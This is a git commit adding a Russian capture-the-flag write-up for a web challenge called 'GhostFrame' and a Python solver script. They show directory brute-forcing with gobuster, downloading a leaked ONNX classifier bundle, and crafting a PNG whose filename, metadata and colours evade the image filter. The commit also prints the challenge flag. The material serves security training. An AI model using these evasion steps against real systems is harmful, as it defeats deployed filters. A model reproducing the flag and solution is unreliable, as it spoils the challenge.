Init. commit
This commit is contained in:
56
web-ghostframe/WRITEUP.md
Normal file
56
web-ghostframe/WRITEUP.md
Normal file
@@ -0,0 +1,56 @@
|
||||
<h1 align="center">GhostFrame</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/points-804-yellow" alt="804 pts"/>
|
||||
</p>
|
||||
|
||||
Из всех вводных в таске нам дается только URL. Сначала необходимо найти скрытую страницу, потом выкачать debug-бандл с [ONNX](https://onnx.ai/onnx/intro/)-моделью и метаданными, и потом уже собрать картинку, которая пройдёт все фильтры классификатора.
|
||||
|
||||
## Решение
|
||||
|
||||
Раз на главной пусто, начинаем с банального перебора директорий:
|
||||
|
||||
```bash
|
||||
gobuster dir -u http://<ip>:<port> \
|
||||
-w /usr/share/seclists/Discovery/Web-Content/common.txt
|
||||
```
|
||||
|
||||
Всплывает скрытая страница `/backup`, внутри — ссылка на архив `prizrachny_kadr_export.zip`. Скачиваем, распаковываем:
|
||||
|
||||
| Файл | Назначение |
|
||||
|---|---|
|
||||
| `vision_gate.onnx` | Сам классификатор |
|
||||
| `preprocess.json` | Список признаков и порог |
|
||||
| `memory.log` | Лог прошлых попыток |
|
||||
|
||||
Самый полезный — `preprocess.json`. Формулы он прямо не раскрывает, но рассказывает, какие признаки модель считает:
|
||||
|
||||
```text
|
||||
amber_ratio
|
||||
blue_ratio
|
||||
contrast
|
||||
edge_density
|
||||
filename_signal
|
||||
metadata_signal
|
||||
```
|
||||
|
||||
Точные пороги неизвестны — вытягиваем их через `/api/submit`. После каждой отправки сервис выводит чего именно не хватило. Из подсказок составляем полный набор требований:
|
||||
|
||||
| Признак | Требование |
|
||||
|---|---|
|
||||
| `filename_signal` | Имя файла содержит `lens`, `prism` или `lattice` |
|
||||
| `metadata_signal` | [PNG `tEXt`](https://www.w3.org/TR/png/#11tEXt) `ghost-signal` начинается с `iris` |
|
||||
| `amber_ratio` | Тёплый янтарный тон |
|
||||
| `blue_ratio` | Заметный синий канал |
|
||||
| `contrast` | Высокий |
|
||||
| `edge_density` | Много резких границ |
|
||||
|
||||
PNG с шахматным или полосатым паттерном даст и контраст, и кучу граней. Красим его в янтарно-синий микс, называем `lattice-lens.png`, прописываем в метадате `ghost-signal=iris-lane` и отправляем на `/api/submit`. Score перевалил порог — сервис возвращает флаг. Автоматический пайплайн — [`solve/solver.py`](solve/solver.py):
|
||||
|
||||
```bash
|
||||
python solve/solver.py http://<ip>:<port>
|
||||
```
|
||||
|
||||
## Флаг
|
||||
`caplag{3409b3f6f9e70dce81617ab19bd3016469b745fb0b9b007ed4967b4b5a3a6486}`
|
||||
74
web-ghostframe/solve/solver.py
Normal file
74
web-ghostframe/solve/solver.py
Normal file
@@ -0,0 +1,74 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
import httpx
|
||||
from PIL import Image, PngImagePlugin
|
||||
|
||||
|
||||
def png_bytes(*, metadata: dict[str, str] | None = None, checker: bool = False) -> bytes:
|
||||
image = Image.new("RGB", (48, 48), (18, 18, 18))
|
||||
for x in range(48):
|
||||
for y in range(48):
|
||||
if checker and (x + y) % 2 == 0:
|
||||
image.putpixel((x, y), (255, 255, 255))
|
||||
elif checker:
|
||||
image.putpixel((x, y), (255, 120, 0))
|
||||
info = PngImagePlugin.PngInfo()
|
||||
for key, value in (metadata or {}).items():
|
||||
info.add_text(key, value)
|
||||
output = io.BytesIO()
|
||||
image.save(output, format="PNG", pnginfo=info)
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def discover_bundle(client: httpx.Client) -> bytes:
|
||||
wordlist = ("backup", "debug", "admin", "hidden", "archive", "internal")
|
||||
for word in wordlist:
|
||||
response = client.get(f"/{word}", follow_redirects=True)
|
||||
if response.status_code != 200:
|
||||
continue
|
||||
match = re.search(r'href="([^"]*prizrachny_kadr_export\.zip)"', response.text)
|
||||
if not match:
|
||||
continue
|
||||
bundle_response = client.get(match.group(1))
|
||||
bundle_response.raise_for_status()
|
||||
return bundle_response.content
|
||||
raise RuntimeError("Hidden archive page was not discovered.")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8011"
|
||||
with httpx.Client(base_url=base_url.rstrip("/"), timeout=20.0, trust_env=False) as client:
|
||||
bundle_bytes = discover_bundle(client)
|
||||
with zipfile.ZipFile(io.BytesIO(bundle_bytes)) as archive:
|
||||
preprocess = json.loads(archive.read("preprocess.json").decode("utf-8"))
|
||||
print(f"[+] leaked bundle: {archive.namelist()}")
|
||||
print(f"[+] threshold: {preprocess['threshold']}")
|
||||
if preprocess.get("input") != [
|
||||
"amber_ratio",
|
||||
"blue_ratio",
|
||||
"contrast",
|
||||
"edge_density",
|
||||
"filename_signal",
|
||||
"metadata_signal",
|
||||
]:
|
||||
raise RuntimeError("Unexpected feature layout in preprocess.json.")
|
||||
|
||||
candidate = png_bytes(metadata={"ghost-signal": "iris-lane"}, checker=True)
|
||||
solve = client.post("/api/submit", files={"upload": ("lattice-lens.png", candidate, "image/png")})
|
||||
solve.raise_for_status()
|
||||
payload = solve.json()
|
||||
flag = payload.get("flag")
|
||||
if not flag:
|
||||
raise RuntimeError(f"GhostFrame did not solve: {payload}")
|
||||
print(flag)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user